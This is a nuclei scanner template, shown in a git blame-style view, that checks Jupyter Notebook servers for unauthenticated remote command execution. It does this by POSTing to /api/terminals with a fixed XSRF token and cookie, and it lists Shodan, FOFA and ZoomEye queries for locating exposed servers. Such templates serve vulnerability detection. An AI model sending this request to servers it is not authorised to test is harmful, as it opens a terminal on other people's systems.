nuclei-templates/http/vulnerabilities/jupyter-notebook-rce.yaml

48 lines
1.5 KiB
YAML
Raw Normal View History

2023-07-18 06:48:18 +00:00
id: jupyter-notebook-rce
info:
2023-07-18 07:52:09 +00:00
name: Jupyter Notebook - Remote Command Execution
2023-07-18 06:48:18 +00:00
author: HuTa0
severity: high
description: |
Jupyter Notebook is an interactive Notebook, computer application is a web based visualization, Jupyter Notebook API/terminals path there are loopholes in the remote command execution.
reference:
2023-07-18 07:52:09 +00:00
- https://github.com/SCAMagic/SCAMagicScan/blob/de8130a2280ee08d719ac6612e590b8e2678fb97/pocs/poc-yaml-jupyter-notebook-rce.py
2024-09-10 09:08:16 +00:00
classification:
cpe: cpe:2.3:a:jupyter:notebook:*:*:*:*:*:*:*:*
2023-07-18 06:48:18 +00:00
metadata:
2023-07-21 11:30:10 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2024-09-10 09:08:16 +00:00
vendor: jupyter
product: notebook
2023-07-21 11:30:10 +00:00
shodan-query: title:"jupyter notebook"
fofa-query: title="jupyter notebook"
2023-07-18 06:48:18 +00:00
zoomeye-query: title:"jupyter notebook"
2023-07-21 11:30:10 +00:00
tags: jupyter,notebook,rce,bypass
2023-07-18 07:52:09 +00:00
2023-07-18 06:48:18 +00:00
http:
- raw:
- |
POST /api/terminals HTTP/1.1
2023-08-04 01:50:39 +00:00
Host: {{Hostname}}
2023-07-18 06:48:18 +00:00
X-XSRFToken: 2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
Cookie: _xsrf=2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
matchers-condition: and
matchers:
- type: word
words:
2023-07-21 11:30:10 +00:00
- '"name":'
- '"last_activity":'
2023-07-18 06:48:18 +00:00
condition: and
2023-07-21 11:30:10 +00:00
- type: word
part: header
words:
- application/json
2023-07-18 06:48:18 +00:00
- type: status
status:
2023-07-18 07:52:09 +00:00
- 200
2024-09-10 09:08:16 +00:00
# digest: 4b0a00483046022100d06d582f3dce65ba20911abf7ffe40eca96e18be358259a394e2fa87b15b52a6022100e6287f726c5f22a21d16220fa41e95782105ffb70db2259c35a01809a6b3fb42:922c64590222798bb761d5b6d8e72950